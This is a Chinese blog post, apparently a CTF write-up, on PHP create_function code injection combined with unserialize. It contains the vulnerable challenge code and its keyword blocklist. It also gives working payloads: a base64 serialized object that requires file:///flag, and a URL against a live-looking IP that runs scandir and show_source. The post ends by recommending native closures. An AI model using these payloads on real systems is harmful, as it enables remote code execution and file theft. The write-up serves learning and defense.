さくtwosmi1e

PHP create_function代码注入

twosmi1e·2021-10-09 21:37·597 次阅读

PHP create_function代码注入

今天做ctf遇到一道题,记录一下知识点

Copy
<?php class Noteasy{ protected $param1; protected $param2; function __destruct(){ $a=$this->param1; $b=$this->param2; if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { die('this param is error!'); } else { $a('', $b); } } } if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); unserialize($file); } ?>

之前没遇到过,一直不知道$a('', $b); 该用什么函数执行,其实看到就应该想到create_function,然后用base64绕一下正则

Copy
<?php class Noteasy{ protected $param1="create_function"; protected $param2="}require(base64_decode(ZmlsZTovLy9mbGFn));//"; function __destruct(){ $a=$this->param1; $b=$this->param2; if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { die('this param is error!'); } else { $a('', $b); } } } $a = new Noteasy(); echo serialize($a); ?>

payload:http://url/?file=Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czo0NDoifXJlcXVpcmUoYmFzZTY0X2RlY29kZShabWxzWlRvdkx5OW1iR0ZuKSk7Ly8iO30=

在code-breaking的题目中也有类似的考点
https://code-breaking.com/puzzle/1/

参考七月火师傅的文章来复现一下https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/

Copy
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }

原理#

create_function比较老了
在某些老的框架或者cms中还在应用这个函数 , 建议是换成普通的原生匿名函数

官方文档的解释:
此函数在内部执行eval(),因此具有与eval()相同的安全性问题。此外,它还具有不良的性能和内存使用特性。 如果您使用的是PHP 5.3.0或更高版本,则应使用原生匿名函数。

例如下面的代码 , 有见到用create_function做的 , 换成下面这样

Copy
echo preg_replace_callback('~-([a-z])~', function ($match) { return strtoupper($match[1]); }, 'hello-world'); // 输出 helloWorld

匿名函数的一些解释和用法:

匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值。当然,也有其它应用的情况。
匿名函数目前是通过 Closure 类来实现的。
从父作用域中继承变量。 都应该用 use 语言结构传递进去比如下面这个:

Copy
$message = 'hello'; // 继承 $message $example = function () use ($message) { var_dump($message); }; echo $example();

回到题目

我们用反斜杠来绕过正则,然后arg可控
先扫目录

http://101.35.121.195:8087/?action=\create_function&arg=;}print_r(scandir('../'));show_source('../flag_h0w2execute_arb1trary_c0de');{

posted @   twosmi1e  阅读(597)  评论(0编辑  收藏  举报
编辑推荐:
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
阅读排行:
· DeepSeek 解答了困扰我五年的技术问题。时代确实变了!
· PPT革命!DeepSeek+Kimi=N小时工作5分钟完成?
· What?废柴, 还在本地部署DeepSeek吗?Are you kidding?
· DeepSeek企业级部署实战指南:从服务器选型到Dify私有化落地
· 程序员转型AI:行业分析
点击右上角即可分享
微信分享提示
目录